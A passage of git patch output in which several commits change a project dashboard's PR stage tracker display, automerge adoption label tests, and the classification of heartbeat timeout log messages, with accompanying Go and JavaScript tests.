STAGE_TRACKER_ISSUE_NEEDS_DECISION = 45 const STAGE_TRACKER_ISSUE_DECISION_COLUMN = 10, STAGE_TRACKER_TRIAGE_NEEDED = 15, STAGE_TRACKER_POSSIBLY_EXISTS = 17; const STAGE_TRACKER_PRE_MERGE_SOAK = 95; `; -const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); +const track = new Function('esc', 'stageTrackerIcon', fn(strip, 'stageTrackerTrackLead') + fn(strip, 'stageTrackerHiveOwnsRepair') + fn(strip, 'stageTrackerTrackWord') + fn(strip, 'stageTrackerActivityTrackHtml') + ';return stageTrackerActivityTrackHtml;')(esc, (n, cls) => `<svg class="${cls}" data-icon="${n}"></svg>`); const getAnchor = new Function(globals + anchor + ';return stageTrackerAnchor;')(); const segments = new Function('stageTrackerAnchor', globals + ` const STAGE_TRACKER_ACTIVE_WORD = {70: 'Fixing'}; @@ -35,6 +35,7 @@ const STAGE_TRACKER_HUMAN_GATED = 85, STAGE_TRACKER_READY_FOR_HUMAN_MERGE = 90, function stageTrackerSentinelInLane() { return false; } function stageTrackerUnauthorizedWord() { return ''; } function stageTrackerManualMergeWord() { return 'Ready for human merge'; } +function stageTrackerAdoptedWord() { return 'Adopted by hive'; } ` + fn(rowSource, 'stageTrackerSegments') + ';return stageTrackerSegments;')(getAnchor); const renderStrip = new Function('esc', 'stageTrackerSegments', 'stageTrackerActivityTrackHtml', globals + ` const STAGE_TRACKER_MOTION_STATIC = 'static', STAGE_TRACKER_MOTION_ACTIVE = 'active'; @@ -100,3 +101,41 @@ test('a red PR with a stale code head renders no remediation attributes', () => const html = renderStrip(item, stages, null, now, {}); assert.doesNotMatch(html, /data-remediation=/); }); + +// hive#16509 row: back in PR in progress with the hive on it, a finished +// review is done-style β€” never the amber in-progress fill β€” and the word is +// the verdict, not "awaiting human decision". +test('adopted row: a complete review verdict is done-style, and a human-decision verdict reads as changes requested', () => { + const adopted = { head: 'abc1234def', state: 'adopted', caption: 'Adopted by hive Β· activity', source: 'adoption', observed_at: '2026-11-04T02:44:00Z' }; + const decision = { head: 'abc1234def', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: '2026-11-04T02:44:00Z', since: red }; + const review = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: decision }))[5]; + assert.match(review, /class="ham-seg ham-activity-track done decided"/, 'done-style, muted: not the active fill'); + assert.doesNotMatch(review, /ham-activity-track active|data-motion="active"/); + assert.match(review, /Review 5\/5 Β· changes requested</); + assert.doesNotMatch(review, /awaiting human/); + + const parked = cells(redPR({ stage: 85, display_column: 85, needs_human: true, review_activity: decision }))[5]; + assert.match(parked, /class="ham-seg ham-activity-track done decided"/, 'parked on a person is settled, still not amber'); + assert.match(parked, /Review 5\/5 Β· awaiting human decision</, 'genuinely parked: the human word stands'); + + const changes = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'changes_requested' } }))[5]; + assert.match(changes, /class="ham-seg ham-activity-track failing"/); + assert.match(changes, /Review 5\/5 Β· changes requested</); + const approved = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: { ...decision, state: 'approved' } }))[5]; + assert.match(approved, /class="ham-seg ham-activity-track done"/); + assert.match(approved, /Review 5\/5 approved</); + const ci = cells(redPR({ stage: 74, display_column: 30, code_activity: adopted, review_activity: decision }))[4]; + assert.match(ci, /class="ham-seg ham-activity-track done"/, '11/11 passed is done-style'); +}); + +test('#16494 keeps: review perspectives still running stay amber beside running CI, with words', () => { + const item = redPR({ display_column: 50, + code_activity: { head: 'abc1234def', state: 'pushed', caption: 'New head pushed Β· CI and re-review', source: 'recorded-push', observed_at: '2026-11-04T02:44:00Z' }, + ci_activity: { head: 'abc1234def', state: 'running', active: true, caption: 'CI 4/11 running', checks_passed: 4, checks_total: 11, source: 'checks', observed_at: '2026-11-04T02:44:00Z' }, + review_activity: { head: 'abc1234def', state: 'reviewing', active: true, actor: 'reviewer-2', caption: 'Review 2/5 Β· reviewer-2 reviewing', perspectives_done: 2, perspectives_total: 5, source: 'dispatch', observed_at: '2026-11-04T02:44:00Z' } }); + const c = cells(item); + assert.match(c[4], /ham-activity-track active ham-current/); + assert.match(c[4], /CI 4\/11/); + assert.match(c[5], /ham-activity-track active ham-current/); + assert.match(c[5], /Review 2\/5 Β· reviewer-2 reviewing</); +}); diff --git a/src/pkg/dashboard/stage_tracker_remediation_test.go b/src/pkg/dashboard/stage_tracker_remediation_test.go index 9ec7e20424..70fa11369f 100644 --- a/src/pkg/dashboard/stage_tracker_remediation_test.go +++ b/src/pkg/dashboard/stage_tracker_remediation_test.go @@ -223,3 +223,43 @@ func TestStageTrackerRemediationJavaScript(t *testing.T) { t.Fatalf("remediation chevron JavaScript: %v\n%s", err, output) } } + +// hive#16509 shape: the review swarm asked for a human decision, then the +// hive adopted the PR (074). Back in PR in progress the review word is the +// verdict's substance β€” changes requested β€” not "awaiting human decision", +// and the track is no longer active. +func TestStageTrackerAdoptedRowRewordsHumanDecision(t *testing.T) { + for _, tc := range []struct { + name string + mutate func(*StageTrackerItem) + rewarded bool + }{ + {"adopted 074", func(it *StageTrackerItem) { it.Stage = trackerNumberAdopted }, true}, + {"fixing 070", func(it *StageTrackerItem) { it.Stage = trackerNumberFixing }, true}, + {"adopted but needs human", func(it *StageTrackerItem) { it.Stage = trackerNumberAdopted; it.NeedsHuman = true }, false}, + {"adopted but on hold", func(it *StageTrackerItem) { it.Stage = trackerNumberAdopted; it.OnHold = true }, false}, + {"parked at 085", func(it *StageTrackerItem) { it.Stage = trackerNumberNeedsDecision }, false}, + {"older head", func(it *StageTrackerItem) { it.Stage = trackerNumberAdopted; it.ReviewActivity.Head = "old" }, false}, + } { + t.Run(tc.name, func(t *testing.T) { + it := &StageTrackerItem{Repo: "org/repo", Kind: "pr", Number: 9, Head: "abc1234def", + ReviewActivity: &StageTrackerActivity{Head: "abc1234def", State: "human_decision", Caption: "Review findings Β· human decision", + Blocker: "Should the API break?", Active: true, PerspectivesDone: 5, PerspectivesTotal: 5, Source: "verified-review-bundle"}} + tc.mutate(it) + stageTrackerAdoptHumanDecision(it) + a := it.ReviewActivity + if !tc.rewarded { + if a.State != "human_decision" || !a.Active { + t.Fatalf("human parking must keep the decision word: %+v", a) + } + return + } + if a.State != "changes_requested" || a.Caption != "Review findings Β· changes requested" || a.Active { + t.Fatalf("adopted row should carry the verdict as changes requested, inactive: %+v", a) + } + if !strings.Contains(a.Detail, "asked for a human decision") || !strings.Contains(a.Detail, "Should the API break?") || !strings.HasSuffix(a.Source, "+adopted-decision") { + t.Fatalf("the decision question and provenance ride in the detail/source: %q %q", a.Detail, a.Source) + } + }) + } +} diff --git a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go index 73a6b88b7c..8be70f52a6 100644 --- a/src/pkg/dashboard/stage_tracker_ui_prelude_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_prelude_test.go @@ -94,6 +94,8 @@ func stageTrackerRowsPreludeJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerTrainIconHtml"), jsFunc(t, html, "stageTrackerHoldLabels"), jsFunc(t, html, "stageTrackerSoakLeft"), + jsFunc(t, html, "stageTrackerHiveOwnsRepair"), + jsFunc(t, html, "stageTrackerTrackWord"), jsFunc(t, html, "stageTrackerActivityTrackHtml"), jsFunc(t, html, "stageTrackerStripItems"), jsFunc(t, html, "stageTrackerCurrentStageHtml"), diff --git a/src/pkg/dashboard/stage_tracker_ui_rows_test.go b/src/pkg/dashboard/stage_tracker_ui_rows_test.go index 59f466e8a8..d6597462d0 100644 --- a/src/pkg/dashboard/stage_tracker_ui_rows_test.go +++ b/src/pkg/dashboard/stage_tracker_ui_rows_test.go @@ -670,6 +670,26 @@ assert.ok(/<a class="ham-pr-ref"[^>]*title="Standalone PR Β· Not yet admitted to assert.ok(row.includes('aria-label="human Β· @cy"') && !row.includes('<title>'), 'author icon label is aria-only: ' + row); // Since cells are untouched: plain text, no title. assert.ok(/<span class="ham-since( ham-stalled)?">[^<]*<\/span>/.test(row) && !/ham-since[^>]*title=/.test(golden), 'since cells unchanged'); +// hive#16509 row: adopted by hive with a finished review (5/5, human +// decision asked). The Review track is done-style and muted β€” never the amber +// in-progress fill β€” and reads the verdict, not "awaiting human decision"; +// 11/11 passed CI is done-style too. +{ + const seen = new Date(now - 60000).toISOString(); + const adoptedRow = stageTrackerRowHtml({ repo: 'acme/console', number: 16509, kind: 'pr', stage: 74, display_column: 30, head: 'f269349', author: 'thatguywob', author_kind: 'human', + code_activity: { head: 'f269349', state: 'adopted', caption: 'Adopted by hive Β· activity', source: 'adoption', observed_at: seen }, + ci_activity: { head: 'f269349', state: 'passing', caption: 'CI 11/11 passed', checks_passed: 11, checks_total: 11, source: 'checks', observed_at: seen }, + review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + const review = /<li class="ham-seg ham-activity-track ([^"]*)" data-track="review"[^>]*>[\s\S]*?<\/li>/.exec(adoptedRow); + assert.ok(review, 'review track present: ' + adoptedRow); + assert.strictEqual(review[1], 'done decided', 'a finished review back in PR in progress is settled, not amber: ' + review[0]); + assert.ok(review[0].includes('Review 5/5 Β· changes requested</span>') && !review[0].includes('awaiting human') && !review[0].includes('data-motion='), review[0]); + const ci = /<li class="ham-seg ham-activity-track ([^"]*)" data-track="ci"/.exec(adoptedRow); + assert.strictEqual(ci[1], 'done', '11/11 passed is done-style: ' + adoptedRow); + const parkedRow = stageTrackerRowHtml({ repo: 'acme/console', number: 16510, kind: 'pr', stage: 85, display_column: 85, head: 'f269349', needs_human: true, author: 'thatguywob', author_kind: 'human', + review_activity: { head: 'f269349', state: 'human_decision', caption: 'Review findings Β· human decision', perspectives_done: 5, perspectives_total: 5, source: 'verified-review-bundle', observed_at: seen } }, stages, ctx); + assert.ok(/<li class="ham-seg ham-activity-track done decided" data-track="review"[^>]*>[\s\S]*?Review 5\/5 Β· awaiting human decision<\/span>/.test(parkedRow), 'genuinely parked on a person keeps the human word, still not amber: ' + parkedRow); +} // Merged: the lit cap is the only chevron with hover text. row = stageTrackerRowHtml({ repo: 'acme/console', number: 106, kind: 'pr', stage: 110 }, stages, ctx); assert.ok(/<li class="ham-seg active cap merged" title="Merged β€” [^"]*" aria-current="step">/.test(row) && titled(strip(row)).length === 1, row); diff --git a/src/pkg/dashboard/static-src/css/tracker.css b/src/pkg/dashboard/static-src/css/tracker.css index b352c33a67..d779d80254 100644 --- a/src/pkg/dashboard/static-src/css/tracker.css +++ b/src/pkg/dashboard/static-src/css/tracker.css @@ -377,6 +377,7 @@ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + .ham-seg.ham-activity-track.done.decided { background: var(--surface-3); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } diff --git a/src/pkg/dashboard/static-src/js/tracker-row-strip.js b/src/pkg/dashboard/static-src/js/tracker-row-strip.js index c19c1ba60a..5d69383e19 100644 --- a/src/pkg/dashboard/static-src/js/tracker-row-strip.js +++ b/src/pkg/dashboard/static-src/js/tracker-row-strip.js @@ -78,7 +78,9 @@ switch (state) { case 'approved': return count + ' approved'; case 'changes_requested': return count + ' Β· changes requested'; - case 'human_decision': return count + ' Β· awaiting human decision'; + // The hive on the repair (adopted / remediating) is not a human + // decision: the findings are the changes requested. + case 'human_decision': return count + (stageTrackerHiveOwnsRepair(item) ? ' Β· changes requested' : ' Β· awaiting human decision'); case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); case 'unassigned': return count + ' Β· swarm requested'; @@ -86,6 +88,13 @@ } } + function stageTrackerHiveOwnsRepair(item) { + if (!item || item.needs_human || item.on_hold || item.hold) return false; + const code = item.code_activity; + const hive = code && code.head === item.head && ['adopted', 'remediating', 'unassigned', 'fix_pushed', 'fixing'].includes(code.state); + return !!(hive || item.stage === 74 || item.adopted_by); + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. // The chevron wears its glyph plus the count words from @@ -113,7 +122,10 @@ const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); const finished = matches && (state === 'passing' || state === 'approved'); const finding = matches && (state === 'failing' || state === 'changes_requested'); - const cls = finished ? 'done' : finding ? 'failing' : text ? 'active' : 'todo'; + // A complete verdict parked on a person is settled, not in progress: + // done-style, muted, never the amber fill (hivecommons/hive#16509 row). + const settled = matches && state === 'human_decision' && (!known || !a.active); + const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : text ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index 8742902402..58d56b99ef 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -1714,6 +1714,7 @@ .ham-activity-track.ham-current { opacity: 1; box-shadow: none; } .ham-seg.ham-activity-track.failing { background: var(--status-error); color: var(--surface-0); box-shadow: none; opacity: 1; } .ham-seg.ham-activity-track.failing .ham-ico { stroke-width: 2; } + .ham-seg.ham-activity-track.done.decided { background: var(--surface-3); color: var(--muted); box-shadow: none; opacity: 1; animation: none; } /* The count words stay on one line and ellipsize instead of wrapping. */ .ham-chevron-copy.ham-track-state .ham-ico { vertical-align: -2px; margin-right: 3px; } .ham-seg.active[data-motion]::before { content: ''; position: absolute; inset: 0; opacity: 0; pointer-events: none; } @@ -17867,7 +17868,9 @@ <h3 class="faq-group-title">Where to get help</h3> switch (state) { case 'approved': return count + ' approved'; case 'changes_requested': return count + ' Β· changes requested'; - case 'human_decision': return count + ' Β· awaiting human decision'; + // The hive on the repair (adopted / remediating) is not a human + // decision: the findings are the changes requested. + case 'human_decision': return count + (stageTrackerHiveOwnsRepair(item) ? ' Β· changes requested' : ' Β· awaiting human decision'); case 'reviewing': case 'adjudicating': return count + ' Β· ' + (actor ? actor + ' reviewing' : 'reviewing'); case 'assigned': return count + ' Β· ' + (actor ? actor + ' queued' : 'queued'); case 'unassigned': return count + ' Β· swarm requested'; @@ -17875,6 +17878,13 @@ <h3 class="faq-group-title">Where to get help</h3> } } + function stageTrackerHiveOwnsRepair(item) { + if (!item || item.needs_human || item.on_hold || item.hold) return false; + const code = item.code_activity; + const hive = code && code.head === item.head && ['adopted', 'remediating', 'unassigned', 'fix_pushed', 'fixing'].includes(code.state); + return !!(hive || item.stage === 74 || item.adopted_by); + } + // Evidence is supplied independently by the backend. A native 050 label // cannot say who reviews, whether checks run, or whether an author codes. // The chevron wears its glyph plus the count words from @@ -17902,7 +17912,10 @@ <h3 class="faq-group-title">Where to get help</h3> const text = typeof stageTrackerTrackWord === 'function' ? stageTrackerTrackWord(item, kind, current) : (matches ? a.caption || name + ' ' + state : ''); const finished = matches && (state === 'passing' || state === 'approved'); const finding = matches && (state === 'failing' || state === 'changes_requested'); - const cls = finished ? 'done' : finding ? 'failing' : text ? 'active' : 'todo'; + // A complete verdict parked on a person is settled, not in progress: + // done-style, muted, never the amber fill (hivecommons/hive#16509 row). + const settled = matches && state === 'human_decision' && (!known || !a.active); + const cls = finished ? 'done' : finding ? 'failing' : settled ? 'done decided' : text ? 'active' : 'todo'; const source = matches ? a.source || 'unavailable' : 'unavailable'; const freshness = !Number.isFinite(observed) ? 'observation time unknown' : (stale ? 'stale Β· ' : 'observed Β· ') + new Date(observed).toISOString(); const since = matches && a.since && Number.isFinite(Date.parse(a.since)) ? ' Β· since ' + new Date(a.since).toISOString() : ''; From 70b7ba3b789b961e54710f90ffd6275848493418 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 04:28:16 +0000 Subject: [PATCH 39/87] =?UTF-8?q?=F0=9F=8C=B1=20test(automerge):=20pin=20t?= =?UTF-8?q?hat=20a=20consumed=20forced=20adoption=20drops=20the=20adoption?= =?UTF-8?q?/supersede=20label=20(#16495)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * fix(automerge): clear adopt-supersede label once a forced adoption is consumed The 072 adoption call site never removed the request label after an attempt, unlike the 085 one. A consumed Adopt now left the label, so later sweeps re-read it as a plain request and re-logged the refusal. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * fix(automerge): drop unreachable supersede-label removal; keep regression test Review of the previous commit showed the new removal block could never run: the enclosing 072 branch requires the adoption/supersede label to be absent, while the block required it present. A labelled PR, whatever its stage, is handled by the delegated-request block earlier in ApplyStageLabels, which already removes the label once the attempt is recorded (MarkAdopted also clears the forced mark), so the base tree already has the behaviour #16489 asks for. Revert the dead hunk and the changelog fragment (no behaviour change); keep TestAdoptNowConsumesSupersedeLabelOn072 as a regression guard for that path, with its comment pointing at the block it exercises. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * 🌱 test(automerge): retitle β€” this PR is test-only, not a behaviour fix Review of #16495 noted the πŸ› fix(automerge) title and the first commit message describe a label-removal hunk as landed. That hunk was reverted in 777b57d because the base tree already removes adoption/supersede in the delegated-request block of ApplyStageLabels; the only change that remains is the regression test TestAdoptNowConsumesSupersedeLabelOn072. The PR title now carries the 🌱 test prefix so the squash-merge history reads as a test addition for #16489 rather than a code fix. Hive-Fix-Attempt: 2/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- .../automerge/automerge_adopt_now_test.go | 29 +++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/src/pkg/github/automerge/automerge_adopt_now_test.go b/src/pkg/github/automerge/automerge_adopt_now_test.go index c99e676b92..aa61d5ae9e 100644 --- a/src/pkg/github/automerge/automerge_adopt_now_test.go +++ b/src/pkg/github/automerge/automerge_adopt_now_test.go @@ -159,3 +159,32 @@ func TestAdoptNowTakesOverOwnerAuthoredPR(t *testing.T) { t.Fatalf("forced mark or person block survived the adoption: %+v", rec) } } + +// hivecommons/hive#16489: Adopt now queues the adoption/supersede label along +// with the forced mark. A labelled PR, whatever its stage, is handled by the +// delegated-request block in ApplyStageLabels, which removes the label once +// the attempt is recorded β€” so later sweeps do not re-read it as a plain +// request and refuse an owner's PR every pass. Regression guard for a PR +// parked at 072 when the forced adoption lands. +func TestAdoptNowConsumesSupersedeLabelOn072(t *testing.T) { + policy := adoptPolicy() + policy.OwnerAuthor = func(login string) bool { return login == "mallory" } + h, done := newAdoptHarness(t, ContributorNudgeOutcome{Mode: "comment"}, policy) + defer done() + h.sink.presence = &ContributorPresence{Registered: true, Online: false} + h.observe(adoptPR(7, "aaa"), "check-failing:unit") + key := stageKey("acme", "widget", 7) + store := h.e.stageStoreOrShared() + labels := []string{"stage/072-returned-to-contributor", "role/contributor", "author/clanker"} + + store.NoteAdoptionForced(key, "clubanderson", h.clock.now()) + h.api.reset() + h.clock.advance(time.Minute) + h.observe(adoptPR(7, "aaa", append(labels, "adoption/supersede")...), "check-failing:unit") + if len(h.adopt.pulls) != 1 { + t.Fatalf("Adopt now did not supersede: pulls=%v", h.adopt.pulls) + } + if !containsLabel(h.api.removed, "adoption/supersede") { + t.Fatalf("request label kept after the forced adoption was consumed: removed=%v", h.api.removed) + } +} From 9b69f5e91d615b32b12f8eba6ce9e23d94a94a21 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 04:36:07 +0000 Subject: [PATCH 40/87] =?UTF-8?q?=F0=9F=90=9B=20fix(spoke):=20classify=20s?= =?UTF-8?q?ibling=20heartbeat=20collect-timeout=20outcome=20notices=20like?= =?UTF-8?q?=20the=20cached=20fallback=20(#16533)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- ...fixed-heartbeat-timeout-outcome-notices.md | 1 + src/pkg/fleetreport/slogfeed/slogfeed.go | 19 +++++++--- src/pkg/fleetreport/slogfeed/slogfeed_test.go | 35 ++++++++++++------- 3 files changed, 37 insertions(+), 18 deletions(-) create mode 100644 changelog.d/fixed-heartbeat-timeout-outcome-notices.md diff --git a/changelog.d/fixed-heartbeat-timeout-outcome-notices.md b/changelog.d/fixed-heartbeat-timeout-outcome-notices.md new file mode 100644 index 0000000000..9205d7f580 --- /dev/null +++ b/changelog.d/fixed-heartbeat-timeout-outcome-notices.md @@ -0,0 +1 @@ +- Stop filing duplicate unclassified self-reports for the hub heartbeat collect-timeout outcome notices (minimal liveness beat, skipped beat before identity is known, and stale stats without fresh agent overlay); retain local warnings and fleet reporting of collector timeouts, slow collectors, panics, and heartbeat failures ([#16516](https://github.com/hivecommons/hive/issues/16516)). diff --git a/src/pkg/fleetreport/slogfeed/slogfeed.go b/src/pkg/fleetreport/slogfeed/slogfeed.go index 65093656e1..4d39bb3747 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed.go @@ -258,12 +258,21 @@ func hubHeartbeatUnavailable(r slog.Record) bool { } // hubHeartbeatCachedFallback is the outcome notice for a bounded collector -// timeout: sending stale stats is the liveness safeguard working as designed -// (#16507). Keep the WARN in local logs, but do not file a second defect for -// the fallback itself. The collector timeout and its slow-section breakdown, -// collector panics, and heartbeat send failures remain reportable. +// timeout: sending stale stats, a minimal liveness beat, skipping a beat before +// identity is known, or dropping the fresh agent overlay is the liveness +// safeguard working as designed (#16507, #16516). Keep the WARN in local logs, +// but do not file a second defect for the fallback itself. The collector +// timeout and its slow-section breakdown, collector panics, and heartbeat send +// failures remain reportable. func hubHeartbeatCachedFallback(r slog.Record) bool { - return strings.TrimSpace(r.Message) == "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green" + switch strings.TrimSpace(r.Message) { + case "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green", + "hub heartbeat collect timed out with no cached payload β€” sending MINIMAL liveness beat (identity only, no stats) so the hub keeps this hive online; loop keeps ticking so liveness stays green", + "hub heartbeat collect timed out and hive identity not yet known β€” skipping this beat; loop keeps ticking so liveness stays green", + "hub heartbeat fresh stats collect timed out; sending stale cached stats without fresh agent overlay": + return true + } + return false } // reviewCommentCapped reports whether r is the review-request watcher noting diff --git a/src/pkg/fleetreport/slogfeed/slogfeed_test.go b/src/pkg/fleetreport/slogfeed/slogfeed_test.go index c316b5b12c..cef4231cbf 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed_test.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed_test.go @@ -729,19 +729,27 @@ func TestHubHeartbeatUnavailableLogsWithoutFleetReport(t *testing.T) { // #16507: using last-good stats after a bounded collect timeout is the // liveness safeguard working, not another defect distinct from the timeout. func TestHubHeartbeatCachedFallbackLogsWithoutFleetReport(t *testing.T) { - logger, seen, out := newFeed(t) - const msg = "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green" - for i := 0; i < 8; i++ { - logger.Warn(msg) - } - if len(*seen) != 0 { - t.Fatalf("cached fallback produced observations: %+v", *seen) - } - if n := strings.Count(out.String(), "\n"); n != 8 { - t.Errorf("wrapped handler saw %d records, want 8", n) - } - if !strings.Contains(out.String(), msg) { - t.Error("cached fallback warning missing from local logs") + for _, msg := range []string{ + "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green", + "hub heartbeat collect timed out with no cached payload β€” sending MINIMAL liveness beat (identity only, no stats) so the hub keeps this hive online; loop keeps ticking so liveness stays green", + "hub heartbeat collect timed out and hive identity not yet known β€” skipping this beat; loop keeps ticking so liveness stays green", + "hub heartbeat fresh stats collect timed out; sending stale cached stats without fresh agent overlay", + } { + t.Run(msg, func(t *testing.T) { + logger, seen, out := newFeed(t) + for i := 0; i < 8; i++ { + logger.Warn(msg) + } + if len(*seen) != 0 { + t.Fatalf("outcome notice produced observations: %+v", *seen) + } + if n := strings.Count(out.String(), "\n"); n != 8 { + t.Errorf("wrapped handler saw %d records, want 8", n) + } + if !strings.Contains(out.String(), msg) { + t.Error("outcome notice missing from local logs") + } + }) } // Preserve the underlying timeout diagnostics and actual heartbeat failures. @@ -750,6 +758,7 @@ func TestHubHeartbeatCachedFallbackLogsWithoutFleetReport(t *testing.T) { "hub heartbeat collect budget exceeded β€” slowest collectors (in-flight = still running at timeout)", "hub heartbeat collect panicked", "hub heartbeat fresh stats collect panicked", + "hub heartbeat fresh stats collect timed out", "hub heartbeat failed", "hub heartbeat rejected", } { From 425e6b929cda5fe04eda442a26495880e0a1b047 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Tue, 3 Nov 2026 23:40:22 -0500 Subject: [PATCH 41/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20show?= =?UTF-8?q?=20Let=20hive=20decide=20beside=20the=20lead;=20action=20pills?= =?UTF-8?q?=20read=20as=20buttons=20(#16544)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› Activity Monitor: show Let hive decide beside the lead and make action pills read as buttons A row parked on a human decision rendered only the server's lead pill (Re-author); Let hive decide sat under β‹― β†’ Decide…, invisible. Both now render inline, lead first, via stageTrackerLeadCompanion / stageTrackerLeadActionsOnRow, wired to the same data-ham-act dispatch. Inline action pills were the same muted outline as record pills (adopted from #N, base branch) and read as history. They are now filled buttons β€” amber primary, neutral secondary, red danger β€” with a trailing β–Έ glyph, hover/focus ring, and a consequence tooltip (server consequence, else a client clause per verb). Fixes #16543 Signed-off-by: Andrew Anderson <andy@clubanderson.com> * πŸ› Activity Monitor: drop raw font-size on the action-pill glyph (style ratchet) Signed-off-by: Andrew Anderson <andy@clubanderson.com> --------- Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-lead-delegate-inline.md | 1 + .../stage_tracker_decided_ui_test.go | 5 ++ .../stage_tracker_lead_action_test.go | 66 +++++++++++++++-- .../stage_tracker_row_actions_test.go | 4 + src/pkg/dashboard/static-src/css/tracker.css | 24 +++--- .../static-src/js/tracker-actions.js | 49 +++++++++++-- src/pkg/dashboard/static/index.html | 73 +++++++++++++++---- 7 files changed, 187 insertions(+), 35 deletions(-) create mode 100644 changelog.d/fixed-lead-delegate-inline.md diff --git a/changelog.d/fixed-lead-delegate-inline.md b/changelog.d/fixed-lead-delegate-inline.md new file mode 100644 index 0000000000..194036b8e1 --- /dev/null +++ b/changelog.d/fixed-lead-delegate-inline.md @@ -0,0 +1 @@ +- Activity Monitor: a row parked on a human decision now shows "Let hive decide" inline beside the server's lead (e.g. "Re-author") instead of hiding it under β‹― β†’ Decide…, and inline action pills are filled buttons with a β–Έ glyph and a consequence tooltip so they no longer pass for record pills like "adopted from #N". diff --git a/src/pkg/dashboard/stage_tracker_decided_ui_test.go b/src/pkg/dashboard/stage_tracker_decided_ui_test.go index a4921a9cc3..7faae2855f 100644 --- a/src/pkg/dashboard/stage_tracker_decided_ui_test.go +++ b/src/pkg/dashboard/stage_tracker_decided_ui_test.go @@ -262,6 +262,11 @@ assert.strictEqual(stageTrackerLinkedSupersededText({ adopted_by: 9, adopted_by_ assert.strictEqual(stageTrackerLinkedSupersededText({}, null), ''); assert.strictEqual(stageTrackerLinkedSupersededTip({ superseded_by: 9 }), 'Hive re-authored this PR as #9 with the same commits and sign-off. This PR closes as superseded when #9 merges.'); assert.strictEqual(stageTrackerLinkedSupersededTip({ adopted_by: 9, state: 'closed' }), 'Hive re-authored this PR as #9 with the same commits and sign-off. This PR is closed as superseded.'); +// A record pill ("↳ adopted from #N") is a muted ham-badge, never the +// filled inline-action class β€” the two must not look alike (hive#16456). +{ const chip = stageTrackerAdoptedFromChipHtml({ adopted_from: { 